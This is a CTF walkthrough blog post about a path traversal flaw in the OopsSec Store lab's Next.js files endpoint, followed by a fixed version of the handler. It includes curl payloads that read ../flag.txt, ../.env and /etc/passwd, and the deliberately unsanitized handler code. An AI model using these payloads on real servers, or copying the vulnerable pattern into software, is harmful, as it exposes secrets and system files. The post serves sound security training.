DEV Community

Cover image for path.join() Is Not Path Validation: A Next.js Traversal Walkthrough
Oopssec Store
Oopssec Store

Posted on • Originally published at koadt.github.io on

path.join() Is Not Path Validation: A Next.js Traversal Walkthrough

Exploiting an unsanitized file path parameter in OopsSec Store's documents API to read files outside the intended directory and retrieve a flag.

The OopsSec Store exposes /api/files?file=..., an endpoint that serves documents from a documents/ folder. The filename gets joined to the base directory with no sanitization, so one ../ is enough to walk out of documents/ and read anything the Node process can open.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

Head to http://localhost:3000.

Target identification

The /api/files route reads a filename from the file query parameter and returns the file content from the documents/ folder at the project root. The challenge flag sits in flag.txt, one level above documents/.

Files API returning a document from the documents directory

Exploitation

Step 1: Confirm normal behaviour

Start with a legit file to check the endpoint works:

curl "http://localhost:3000/api/files?file=readme.txt"
Enter fullscreen mode Exit fullscreen mode

You get back a JSON payload with the filename and the raw file content. No filtering, no encoding, just the file as-is.

Step 2: Identify the traversal distance

documents/ and flag.txt share the same parent (the project root). So one ../ walks you from inside documents/ back up to where the flag lives.

Step 3: Send the traversal payload

Send the payload through the query parameter:

curl "http://localhost:3000/api/files?file=../flag.txt"
Enter fullscreen mode Exit fullscreen mode

Pasting the same URL into a browser works just as well:

http://localhost:3000/api/files?file=../flag.txt
Enter fullscreen mode Exit fullscreen mode

Step 4: Retrieve the flag

The response contains the file content:

{
  "filename": "../flag.txt",
  "content": "OSS{p4th_tr4v3rs4l_4tt4ck}"
}
Enter fullscreen mode Exit fullscreen mode

The flag is OSS{p4th_tr4v3rs4l_4tt4ck}.

Additional targets

The same trick reaches anything the Node process can read:

curl "http://localhost:3000/api/files?file=../.env"
curl "http://localhost:3000/api/files?file=../../../../etc/passwd"
Enter fullscreen mode Exit fullscreen mode

Each extra ../ climbs one more directory. As long as the app's user has read access, the file comes back.

Vulnerable code analysis

Here's the relevant part of the handler:

export async function GET(request: NextRequest) {
  const { searchParams } = new URL(request.url);
  const file = searchParams.get("file");

  const baseDir = join(process.cwd(), "documents");
  const filePath = join(baseDir, file);
  const content = await readFile(filePath, "utf-8");

  return NextResponse.json({ filename: file, content });
}
Enter fullscreen mode Exit fullscreen mode

A few things are wrong here:

  1. The file value goes straight into the path. No validation, no rejection of .., nothing.
  2. path.join() looks like a safety net but isn't one. It's a string helper. It resolves .. the way the shell would, which means join("/app/documents", "../flag.txt") gives you /app/flag.txt.
  3. Nothing checks that the final path still lives inside baseDir before the read happens.

The bug comes from treating path.join() as a sandbox. It was never meant to be one. Prepending a trusted directory to untrusted input doesn't keep the result in that directory once .. shows up.

Remediation

Resolve the absolute path first, then check it's still inside baseDir before touching the disk:

import { resolve, sep } from "node:path";
import { readFile } from "node:fs/promises";
import { NextRequest, NextResponse } from "next/server";

export async function GET(request: NextRequest) {
  const { searchParams } = new URL(request.url);
  const file = searchParams.get("file");

  if (!file) {
    return NextResponse.json(
      { error: "File parameter is required" },
      { status: 400 }
    );
  }

  const baseDir = resolve(process.cwd(), "documents");
  const filePath = resolve(baseDir, file);

  if (filePath !== baseDir && !filePath.startsWith(baseDir + sep)) {
    return NextResponse.json({ error: "Forbidden" }, { status: 403 });
  }

  const content = await readFile(filePath, "utf-8");
  return NextResponse.json({ filename: file, content });
}
Enter fullscreen mode Exit fullscreen mode

path.resolve() gives you an absolute path with .. already collapsed. The startsWith(baseDir + sep) check rejects anything outside the folder, including siblings like /app/documents-backup that would slip past a naive startsWith(baseDir). Reject first, read after.

For production, don't stop there:

  • Keep an allowlist of filenames or identifiers and look up the real path server-side. Never accept raw paths from the client.
  • Reject input with path separators (/, \), null bytes, or .. before any path work.
  • Run the app under a user that can only read what it actually needs.
  • Log requests that resolve outside the expected directory. Someone probing for this is usually probing for more.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

An intentionally vulnerable e-commerce app for learning web security.
Master real-world attack vectors through a realistic CTF platform.
Hunt for flags, exploit vulnerabilities, and level up your security skills

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

GitHub license PRs Welcome Good first issues Intentionally Vulnerable
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Node.js
npx create-oss-store my-ctf-lab && cd my-ctf-lab && npm start

# Docker
docker run -p 3000:3000 leogra/oss-oopssec-store

# Then open http://localhost:3000 and
Enter fullscreen mode Exit fullscreen mode

Related weaknesses


Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (0)